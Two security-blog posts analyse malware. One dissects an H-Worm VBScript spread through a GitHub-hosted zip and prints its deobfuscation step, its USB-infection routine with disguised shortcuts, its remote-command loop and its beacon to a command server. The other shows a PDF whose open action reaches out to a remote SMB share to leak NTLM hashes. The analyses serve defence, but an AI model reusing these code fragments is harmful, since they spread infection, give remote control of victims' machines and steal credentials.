Threat Level: green Handler on Duty: Guy Bruneau

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Old H-Worm Delivered Through GitHub

Published: 2019-02-14
Last Updated: 2019-02-15 06:40:28 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Another piece of malicious code spotted on GitHub this time. By the way, this is the perfect example to demonstrate that protecting users via a proxy with web-categorization is useless… Event sites from the Alexa Top-1M may deliver malicious content (Github current position is 51[1]). The URL has been found in a classic email phishing attempt. The content was recently uploaded (<24h) when I found it:

hxxps://raw.githubusercontent[.]com/sidilig/sharing/ebk-ci/Ebanking.zip

Let’s have a look at the archive content:

ISC $ shasum -a 256 Ebanking.zip
abb244010410ce6012bac9e4fc902432cfebe06724d014c63d9ef21f0a6b8b78  Ebanking.zip
ISC $ unzip -t Ebanking.zip
Archive:  Ebanking.zip
    testing: Mesures de sécurité.jar   OK
    testing: Habilitations Ebank.vbs   OK
No errors detected in compressed data of Ebanking.zip.
ISC $ shasum -a 256 *
d4ffa2acdec66f15c2252f36311c059ab00cc942b7cb54c33b4257dbc680ed9b  Habilitations Ebank.vbs
7ab54cb93a4a76dd5578f0b0ddcaeb8420311ebb39f27b62e535a43aec02523a  Mesures de sécurité.jar

Let’s have a look at the VBScript code. It’s based on a big class:

Class Values
   ...
End Class
Set myClass = new Values
myClass.Start()

Most part of the code is obfuscated using a simple technique: A chunk of Base64 data is decoded by replacing a set of characters with the letter ‘A’:

Private Function peter_paul(sand, way_off)
  Dim stapler, hp_pc, pillow, ruben
  stapler = "!@"
  hp_pc = "A"
  pillow = "Q29uc3QgVHlw....."
  ruben = Replace(pillow, stapler, hp_pc)
  peter_paul = b642byt_arr(1, ruben, 10)
End Function

Easy to decode with Cyberchef:

The decoded data is a new script. The next step is to execute it::

Public Sub Start()
  Set yhm_pepe = CreateObject("ADODB.Stream")
  Set spike = CreateObject("Microsoft.XMLDOM")
  If john_conor(1, peter_paul(0, False)) = ojor Then
    ExecuteGlobal ojor
  End If
End Sub

The code is simply written to the ADODB.Stream then executed. Here is what the second stage does. It copies itself for persistence in %TEMP%\tGcuACWROu.vbs then install . An interesting behaviour: it scans for available removable drives (drive.type == 1)[2] and infect them:

for each drive in filesystemobj.drives
  if  drive.isready = true then
    if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
          filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
          if not lnkfile then exit for
            if  instr (file.name,".") then
              if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                  filename = split(file.name,".")
                  set lnkobj = shellobj.createshortcut (drive.path & "\"&filename (0)&".lnk")
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ",     chrw(34) & " " & chrw(34)) &"&exit"
                   filleicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." &     split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
                   if  instr (fileicon,",") = 0 then
                     lnkobj.iconlocation = file.path
                   else
                     lnkobj.iconlocation = fileicon
                   end if
                   lnkobj.save()
                 end if
               end if
             end if
           next

When the installation is successful, it starts to communicate with the C2 server:  hxxp://ghanaandco.sytes[.]net:3007.

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: fr-be
User-Agent: 647B5904<|>PLAYBOX1<|>Xavier<|>Microsoft Windows XP Professional<|>plus<|>nan-av<|>false - 15/02/2019
Accept-Encoding: gzip, deflate
Host: ghanaandco.sytes.net:3007
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Here is a reply from the C2 server:

HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Content-Length: 12
Server: Indy/9.0.18

sleep<|>5000

Here is the main loop waiting for commands:

while true
  install
  response = ""
  response = post ("is-ready","")
  cmd = split (response,spliter)
  select case cmd (0)
    case "excecute"
      param = cmd (1)
      execute param
    case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit
    case "uninstall"
      uninstall
    case "send"
      download cmd (1),cmd (2)
    case "site-send"
      sitedownloader cmd (1),cmd (2)
    case "recv"
      param = cmd (1)
      upload (param)
    case  "enum-driver"
       post "is-enum-driver",enumdriver
     case  "enum-faf"
       param = cmd (1)
       post "is-enum-faf",enumfaf (param)
     case  "enum-process"
       post "is-enum-process",enumprocess
     case  "cmd-shell"
       param = cmd (1)
       post "is-cmd-shell",cmdshell (param)
     case  "delete"
        param = cmd (1)
        deletefaf (param)
      case  "exit-process"
        param = cmd (1)
        exitprocess (param)
      case  "sleep"
        param = cmd (1)
        sleep = eval (param)
    end select
  wscript.sleep sleep
wend

If the delivery method changed, the malicious code is not new. This is a good old H-Worm as already found in 2013[3]. Old stuff but still used in the wild!

[1] https://www.alexa.com/siteinfo/github.com
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/drivetype-property
[3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)

Suspicious PDF Connecting to a Remote SMB Share

Published: 2019-02-14
Last Updated: 2019-02-14 09:44:01 UTC
by Xavier Mertens (Version: 1)
4 comment(s)

Yesterday I stumbled upon a PDF file that was flagged as suspicious by a customer's anti-malware solution and placed in the quarantine. Later, the recipient contacted the team in charge of emails to access his document because he knew the sender and pretended that the file was legit.

The file looked indeed safe and the content was properly related to the customer's business. I did a quick analysis of the file in my sanbox and, once the file opened, Acrobat Reader attempted to connect to a remote SMB share. I extracted objects from the PDF file and there was indeed a reference to a SMB share. When you ask a computer to connect to such a service, you immediately think about NTLM hashes leak.

Here is the object extracted from the PDF:

obj 10 0
 Type: /Page
 Referencing: 9 0 R, 6 0 R, 11 0 R, 12 0 R, 13 0 R, 7 0 R, 2 0 R, 14 0 R, 1 0 R, 15 0 R, 16 0 R, 17 0 R, 18 0 R, 3 0 R, 19 0 R, 20 0 R

  <<
    /AA
      <<
        /O
          <<
            /F '(\\\\\\\\virtualofficestorage[.]com\\\\docs_share)'
            /D [ 0 /Fit]
            /S /GoToE
          >>
      >>
    /Parent 9 0 R
    /Contents [6 0 R 11 0 R 12 0 R 13 0 R 7 0 R]
    /Type /Page
    /Resources
      <<
        /ExtGState
          <<
            /Xi1 2 0 R
          >>
        /XObject
          <<
            /BG0 14 0 R
            /Xi0 1 0 R
            /CL 15 0 R
          >>
        /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
        /Font
          <<
            /F_2 16 0 R
            /F_0 17 0 R
            /F_1 18 0 R
            /Xi2 3 0 R
          >>
      >>
    /MediaBox [0 -0.02000 598.80 844.08]
    /Annots [19 0 R 20 0 R]
  >>

The domain virtualofficestorage[.]com[1] resolves to 185.225.17.98, located in Romania. Shodan reports indeed a SMB share:

Helas, it does not reply anymore (last seen on 2019-02-03). There is a website running on this domain, it serves the default Ubuntu Apache welcome page. 

I can't share the file not the hash but did you notice the same behavious with other PDF documents? Do you know more about this domain? (VT has only one reference to the same kind of document[2])
Please share!

[1] https://www.virustotal.com/#/domain/virtualofficestorage.com
[2] https://www.virustotal.com/#/file/746794ca49f497b43eb53a2fb25c4a0b3782002a45f498c047fa07d46cd43592/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: NTLM PDF Share SMB
4 comment(s)
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